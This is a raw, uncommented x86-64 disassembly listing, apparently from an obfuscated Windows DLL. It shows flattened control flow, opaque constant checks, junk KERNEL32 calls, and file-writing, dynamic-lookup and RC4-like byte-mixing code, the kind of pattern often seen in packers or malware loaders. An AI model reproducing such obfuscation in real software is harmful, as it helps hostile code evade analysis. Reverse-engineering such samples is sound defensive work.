cmp di, r8w
jne 0x1800053e1
movzx edx, bx
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x1800059f9
movzx eax, di
mov ecx, 0x225
sub rcx, rax
movzx eax, sil
sub rcx, rax
mov qword [0x180033008], rcx
mov r9, qword [rsp + 0x50]
jmp 0x1800053e1
movzx ecx, di
call qword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x1800063f1
mov ecx, 0x18
cmp sil, cl
je 0x180006469
cmp sil, 0x12
jne 0x180006426
lea rax, [r8 + 0x27c]
mov qword [0x180033018], rax
jmp 0x1800063f1
cmp sil, 0xf
jne 0x180006439
mov qword [0x180033008], 0x2df
jmp 0x1800063f1
cmp sil, 7
jne 0x180006463
mov rcx, 0xfffffffffffffe73
sub rcx, rax
mov eax, edx
and ecx, 0x2bd
xor edx, edx
sub rcx, 0x1e1
div rcx
mov qword [rbp - 0x78], rdx
jmp 0x1800063f1
cmp sil, 0x3f
jbe 0x1800063f1
mov rax, r8
add rsp, 0x4b8
pop rdi
pop rsi
pop rbx
pop rbp
ret
movzx edx, bx
mov r8d, eax
mov r9d, edx
mov ecx, eax
mov qword [rsp + 0x20], rdx
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x1800063f1
movzx edx, bx
movzx ecx, di
call fcn.18000705c
jmp 0x1800063f1
mov rdx, rcx
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x1800063f1
mov qword [0x180033030], 0x261
jmp 0x1800063f1
movzx edx, sil
jmp 0x1800064cd
mov edx, r11d
movzx ecx, sil
call fcn.18000705c
jmp 0x1800056f5
movzx ecx, sil
mov r8, rdi
movzx eax, bx
mov edx, ecx
mov dword [rsp + 0x28], r10d
movzx r9d, bx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
jmp 0x1800056f5
mov r9, qword [rsp + 0x50]
mov edx, 0
mov r8d, dword [rsp + 0x44]
cmp rbx, 0x50
jb 0x1800053cf
cmp rbx, 0x53
jb 0x1800065c0
lea ecx, [rdx + 0x2c]
cmp rbx, rcx
jb 0x1800053ab
lea ecx, [rdx + 0x45]
cmp rbx, rcx
je 0x1800065aa
cmp rbx, 0x16
je 0x180006f53
cmp rbx, 0x300
je 0x18000659d
cmp rbx, 0x2b
jb 0x1800053cf
cmp rbx, 0x40
jae 0x180006565
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
jmp 0x180006591
cmp rbx, 0x3b
jne 0x180006576
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_InitializeSListHead]
jmp 0x180006591
mov r9, qword [rsp + 0x50]
cmp rbx, 0x59
jne 0x1800053ab
movzx edx, al
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov r8d, dword [rsp + 0x44]
xor edx, edx
jmp 0x1800053a6
dec r9d
mov qword [rsp + 0x50], r9
jmp 0x1800053ab
movzx r8d, al
mov r9, rdi
mov edx, ecx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_HeapQueryInformation]
jmp 0x180006591
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180006591
call qword [sym.imp.KERNEL32.dll_GetConsoleCP]
jmp 0x180006591
call qword [sym.imp.KERNEL32.dll_GetVersion]
jmp 0x1800051ad
mov r9d, dword [rsp + 0x40]
jmp 0x1800065e8
mov r11d, 1
movsxd r8, dword [rsp + 0x58]
mov qword [rsp + 0x60], r8
jmp 0x1800065f9
mov r9d, dword [rsp + 0x40]
mov rbx, qword [0x180033008]
mov edi, 0x86
sub rdi, rbx
mov eax, 0x5c
and edi, 0x129
mov esi, edi
cmp rdi, rax
je 0x180007033
cmp rdi, 0x16
jae 0x18000663a
mov edx, ebx
mov ecx, edi
call fcn.18000705c
mov rsi, rax
mov r8, qword [rsp + 0x60]
jmp 0x180006824
mov eax, 0x5f
cmp rdi, rax
jb 0x180006dd8
cmp rdi, 0x48
ja 0x18000665d
mov edx, edi
mov rcx, rbx
call fcn.18000705c
mov rbx, rax
jmp 0x180006630
cmp rdi, 0x129
jne 0x1800067dc
mov eax, 0x30
cmp rbx, rax
jae 0x18000671a
lea ebx, [rdi - 1]
mov edx, dword [rsp + 0x40]
lea ecx, [rdi - 0x1d]
or cl, 0xdb
cmp rsi, 0x3f
jbe 0x180006ba0
cmp rsi, 0x2a
je 0x180006d1c
cmp rsi, 0x36
jb 0x18000701b
cmp rsi, 0x37
jb 0x180006d9e
mov eax, 0x21
cmp rsi, rax
jbe 0x180007023
cmp rsi, 0x129
je 0x180006b92
cmp rsi, 0x47
jb 0x180006b61
mov eax, 0x4f
cmp rsi, rax
jb 0x180006d1c
cmp rsi, 0x34
jbe 0x180006bb3
cmp rsi, 0x59
jae 0x180006b11
movzx ecx, cl
mov r9, rdi
mov r8, rdi
mov qword [rsp + 0x20], rdi
mov rdx, rbx
call fcn.180004f7c
mov r8, qword [rsp + 0x60]
mov r11d, 1
jmp 0x1800065f4
mov eax, 0x4f
cmp rbx, rax
je 0x180006d1c
cmp rbx, 0x48
jb 0x180007013
cmp rbx, 7
jb 0x180006d1c
cmp rbx, 0x3c
jb 0x180007013
cmp rbx, 0x52
jb 0x180006824
cmp rbx, 0x28
je 0x180007009
cmp rbx, r11
jae 0x18000676b
mov edx, 0x129
mov ecx, edx
jmp 0x180006628
cmp rbx, 0x63
jb 0x180006d1c
movabs rax, 0x7734f0fe07fe3b1b
cmp rbx, rax
jne 0x1800067af
xor edx, edx
mov rax, r8
div qword [rbp + 0x400]
mov rax, qword [rbp + 0x3f8]
movzx eax, byte [rdx + rax]
add eax, dword [rbp + r8*4 - 0x50]
add eax, r9d
movzx eax, al
mov dword [rsp + 0x40], eax
jmp 0x1800068e7
cmp rbx, 0x19
jbe 0x180007013
mov ecx, 0x42
cmp rbx, rcx
ja 0x18000682e
mov r8d, 0x129
mov edx, ebx
mov ecx, r8d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
jmp 0x180006630
cmp rdi, 0x17
jb 0x18000702b
cmp rdi, 0x39
jb 0x180007013
ja 0x180006816
imul rsi, rbx, 0x176
movabs rax, 0x6a0b9944c3856297
mul rsi
shr rdx, 7
imul rax, rdx, 0x135
sub rsi, rax
jmp 0x180006824
mov eax, 0x32
cmp rdi, rax
je 0x180006d1c
movabs rax, 0x7734f0fe07fe3b1b
cmp rbx, 0x44
jbe 0x180007023
cmp rbx, 0x28
je 0x18000702b
cmp rbx, 0x5e
jae 0x180006878
imul rsi, rbx, 0x2d5
cmp rbx, rax
jne 0x180006abe
mov r11d, 1
cmp rdi, r11
jne 0x180006952
mov rdx, rsi
mov ecx, r11d
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x18000670a
cmp rbx, 0x5a
je 0x180006dcf
cmp rbx, 0x49
je 0x180006dc2
cmp rbx, 0x34
jb 0x18000684f
cmp rbx, 0x54
je 0x180006f62
cmp rbx, 0x13
jb 0x180007013
je 0x18000702b
cmp rbx, 0x59
jb 0x18000702b
cmp rbx, 0xb
jae 0x1800068d3
call qword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov esi, eax
movabs rax, 0x7734f0fe07fe3b1b
jmp 0x18000684f
cmp rbx, rax
jne 0x180006936
cmp rdi, 0x129
jne 0x1800068ff
mov r11d, 1
mov al, byte [rbp + r8*4 - 0x50]
mov byte [rsp + 0x48], al
movabs rax, 0x7734f0fe07fe3b1b
jmp 0x1800069eb
mov ecx, 0x21
cmp rdi, rcx
jne 0x180006927
mov r9d, ecx
mov qword [rsp + 0x20], rsi
mov rcx, rax
mov r8, rax
mov edx, 0x7fe3b1b
call qword [sym.imp.KERNEL32.dll_HeapQueryInformation]
movsxd rbx, eax
jmp 0x1800068c4
cmp rdi, 0x16
jbe 0x180006d1c
jmp 0x18000684f
cmp rbx, 0x40
ja 0x18000684f
mov r8d, esi
mov edx, esi
mov rcx, rsi
call fcn.180003748
jmp 0x18000670a
cmp rdi, 0x5e
jae 0x18000696f
mov r8d, edi
mov edx, 0x7fe3b1b
mov rcx, rdi
call fcn.180003748
mov ebx, eax
jmp 0x18000667b
cmp rdi, 0x2b
jbe 0x18000646c
cmp rdi, 0x1c
jb 0x180006d1c
mov ecx, 0x1f
cmp rdi, rcx
jae 0x18000699c
movabs rbx, 0x3512ac4bb36b66
jmp 0x18000667b
mov ecx, 0x30
cmp rdi, rcx
jbe 0x180006d1c
mov r9d, dword [rsp + 0x40]
mov ecx, 0x55
mov r10, qword [rsp + 0x50]
cmp rdi, rcx
je 0x180004fda
mov ecx, 0x33
cmp rdi, rcx
ja 0x1800069d9
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x18000667b
cmp rdi, 0x129
jne 0x180006b09
mov r8, qword [rsp + 0x60]
cmp rsi, 0x34
jb 0x18000667b
cmp rsi, 0x4a
je 0x1800065f4
mov ecx, 0x1b
cmp rsi, rcx
jae 0x180006a22
mov ecx, 0x129
mov edx, 0x7fe3b1b
mov r8d, ecx
call fcn.180003748
mov esi, eax
jmp 0x18000667b
cmp rsi, 0x51
jb 0x180006f7d
mov ecx, 0x50
cmp rsi, rcx
jb 0x180006d1c
mov ecx, 0x26
cmp rsi, rcx
je 0x1800065f4
mov r10, qword [rsp + 0x50]
cmp rsi, 5
jb 0x180004fc8
cmp rsi, 0x58
je 0x180006d7d
cmp rsi, 0x129
jne 0x180006a7d
movsxd rdx, dword [rsp + 0x40]
mov ecx, dword [rbp + rdx*4 - 0x50]
mov dword [rbp + r8*4 - 0x50], ecx
jmp 0x18000667f
mov ecx, 8
cmp rsi, rcx
jae 0x180006a8f
mov rdi, rsi
jmp 0x18000667b
mov ecx, 0x23
cmp rsi, rcx
jae 0x18000667b
mov r9d, 0x129
mov qword [rsp + 0x20], rsi
mov r8, rax
mov rdx, rsi
mov rcx, rsi
call fcn.180004f7c
mov rdi, rax
jmp 0x18000667b
mov eax, 0x24
cmp rbx, rax
jb 0x180007013
cmp rbx, 6
jne 0x180006afa
mov rax, rdi
xor edx, edx
div rdi
mov rcx, rax
movabs rax, 0x4d19e6b3804d19e7
mul rcx
mov rdi, rdx
shr rdi, 8
add rdi, 0x5b
jmp 0x18000667b
cmp rbx, 0x5b
jb 0x180006dd8
jmp 0x18000667b
mov edx, r9d
jmp 0x18000667f
cmp rsi, 0x3b
jne 0x180006b2a
movzx edx, cl
mov rcx, rdi
mov r8d, edx
call fcn.180003748
jmp 0x180006bb3
cmp rsi, 0x45
jb 0x180007023
mov eax, 0x31
cmp rsi, rax
jbe 0x180006d8a
cmp rsi, 0x40
jae 0x180006bb3
movzx r9d, cl
mov r8, rsi
mov rcx, rbx
mov qword [rsp + 0x20], r9
mov rdx, rsi
call fcn.180004f7c
jmp 0x180006bb3
movabs rax, 0x3c91beb2de672839
mul rdi
shr rdx, 7
imul rax, rdx, 0x21d
sub rdi, rax
movzx eax, cl
add rdi, 0xc8
and rdi, rax
mov qword [0x180033030], rdi
jmp 0x180006bb3
movzx ecx, byte [rsp + 0x48]
movsxd rax, edx
mov dword [rbp + rax*4 - 0x50], ecx
jmp 0x180006bb3
mov rax, rsi
xor rax, 0xef
or rax, rsi
mov qword [0x180033020], rax
mov eax, dword [rsp + 0x58]
mov r11d, 1
mov ebx, dword [rsp + 0x4c]
add eax, r11d
mov rdi, qword [rbp - 0x70]
mov r9d, dword [rsp + 0x40]
mov rsi, qword [rbp - 0x68]
mov r10, qword [rsp + 0x50]
jmp 0x180005033
movzx ecx, r8w
mov r8d, 0xf2f7060f
movzx edx, bl
call fcn.180003748
mov byte [rsp + 0x68], al
mov r8d, 0x25
mov r9d, 0x18
mov esi, 0x55
mov edi, 0x34
mov r11d, 1
mov rcx, qword [0x180033030]
movabs rax, 0x8dda520237694809
mul rcx
mov rax, rdx
xor edx, edx
shr rax, 9
div rcx
movabs rax, 0xdb20a88f469598d
mov r10, rdx
mul rdx
movabs rax, 0xc7ce0c7ce0c7ce0d
sub r10, rdx
shr r10, 1
add r10, rdx
shr r10, 9
mul r10
mov rcx, r10
shr rdx, 5
imul rax, rdx, 0x29
sub rcx, rax
and ecx, 0x311
cmp rcx, r11
jne 0x180006e27
cmp r10, 0x64
je 0x180006f14
cmp r10, 6
jbe 0x180006f14
movabs rax, 0x21ba9bdb8f8
cmp r10, rax
je 0x180006ec5
cmp r10, 0x1d
jbe 0x180007044
cmp r10, 0x5e
je 0x180006f96
mov eax, 0x14
cmp r10, rax
jbe 0x180006f14
cmp r10, rdi
jne 0x180006e09
mov r9, rdi
mov qword [rsp + 0x20], rdi
mov r8, rdi
mov rdx, rdi
mov rcx, r11
call fcn.180004f7c
mov r8d, 0x25
lea r9d, [r8 - 0xd]
jmp 0x180006c07
movzx r8d, r8w
mov edx, 0xf2f7060f
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x180006bed
movzx edx, bl
movzx ecx, r10b
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
jmp 0x180006bf1
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov ebx, dword [rsp + 0x4c]
jmp 0x180006bf1
movzx r8d, ax
movabs r9, 0xc87838419cd5b6ee
mov qword [rsp + 0x20], r8
movzx edx, bx
mov ecx, r10d
call fcn.180004f7c
jmp 0x180006d1c
movzx r8d, ax
mov edx, r10d
movzx ecx, bx
call fcn.180003748
jmp 0x180006d1c
mov edx, r8d
mov rcx, r10
call fcn.18000705c
jmp 0x180006d1c
movzx r8d, sil
mov rcx, rdi
movzx edx, bl
call fcn.180003748
mov bl, al
mov dword [rsp + 0x4c], ebx
jmp 0x180006bf1
mov ecx, 0x129
call qword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x180006d1c
movzx r9d, cl
mov r8, rdi
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov rdx, rsi
jmp 0x180006d3e
movzx r8d, cl
mov r9, rdi
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov dword [rsp + 0x28], esi
mov edx, edi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x180006d1c
mov qword [section..data], 9
jmp 0x180006dd8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, ebx
mov rcx, rdi
jmp 0x180006d5c
mov ebx, dword [rsp + 0x4c]
jmp 0x180006bf7
mov ebx, dword [rsp + 0x4c]
mov r8d, 0x25
jmp 0x180006c02
mov ebx, dword [rsp + 0x4c]
mov r8d, 0x25
jmp 0x180006bfd
cmp r10, 0xe
je 0x180006ebd
cmp r10, 0x3b
jae 0x180006e90
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_lstrlenA]
jmp 0x180006cdc
cmp rcx, rdi
ja 0x180006f14
cmp rcx, 0x60
ja 0x180006c0d
cmp rcx, r8
je 0x180006469
cmp rcx, 0x17
ja 0x180007044
cmp rcx, r9
ja 0x18000704c
mov eax, 0x24
cmp rcx, rax
jae 0x18000704c
mov eax, 0x27
cmp rcx, rax
jne 0x180006ed1
mov qword [rsp + 0x30], rax
mov r9d, eax
mov dword [rsp + 0x28], eax
mov r8d, r10d
mov edx, eax
mov dword [rsp + 0x20], eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x180006cdc
cmp r10, rsi
ja 0x180006ea5
mov r8d, r11d
mov edx, r10d
mov rcx, r11
call fcn.180003748
jmp 0x180006f0e
cmp r10, 0xb
jbe 0x18000703c
cmp r10, 0x3c
jne 0x180006f14
mov rax, r10
jmp 0x18000646c
call qword [sym.imp.KERNEL32.dll_GetVersion]
jmp 0x180006f0e
movsxd r8, dword [rsp + 0x58]
mov dword [rbp + r8*4 - 0x50], r8d
jmp 0x180006f19
cmp rcx, 0x22
je 0x180006f14
mov eax, 0x56
cmp rcx, rax
ja 0x180006fa6
cmp rcx, 0x35
ja 0x180006f14
cmp rcx, 0x4a
ja 0x18000704c
cmp rcx, 0x48
jbe 0x180006f14
mov r9, r10
mov qword [rsp + 0x20], r10
mov r8, rcx
mov rdx, r10
call fcn.180004f7c
mov r11d, 1
mov r8d, dword [rsp + 0x58]
mov rdi, qword [rbp - 0x70]
add r8d, r11d
mov r9d, dword [rsp + 0x40]
xor edx, edx
mov rsi, qword [rbp - 0x68]
mov r10, qword [rsp + 0x50]
jmp 0x18000501f
movzx ecx, bx
mov r9d, r10d
movzx eax, bx
mov dword [rsp + 0x28], ecx
movzx edx, sil
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
jmp 0x180006f9c
movzx edx, al
movzx ecx, sil
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x180006f9c
mov r9, rdi
mov qword [rsp + 0x20], rsi
mov r8d, edi
mov rdx, rdi
mov ecx, 0x54
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x180006f9c
mov edx, 0x129
mov qword [rsp + 0x20], rax
mov ecx, edx
mov r9, rsi
mov r8, rax
call fcn.180004f7c
jmp 0x180006f9c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, dword [rsp + 0x40]
jmp 0x180004fcf
mov r9d, dword [rsp + 0x40]
jmp 0x180004fd5
mov eax, 0x64
jmp 0x18000646c
xor eax, eax
jmp 0x18000646c
movzx eax, bx
jmp 0x18000646c
mov eax, r8d
jmp 0x18000646c
movzx eax, di
jmp 0x18000646c
mov ecx, 0x2b
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, r10d
jmp 0x18000646c
mov eax, 0x62
jmp 0x18000646c
mov eax, 0x53
jmp 0x18000646c
movzx eax, bl
jmp 0x18000646c
mov eax, 0x28
jmp 0x18000646c
mov rax, rbx
jmp 0x18000646c
movzx eax, cl
jmp 0x18000646c
mov rax, rsi
jmp 0x18000646c
mov rax, rdi
jmp 0x18000646c
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rax, r11
jmp 0x18000646c
mov rax, r10
jmp 0x18000646c
mov rax, rcx
jmp 0x18000646c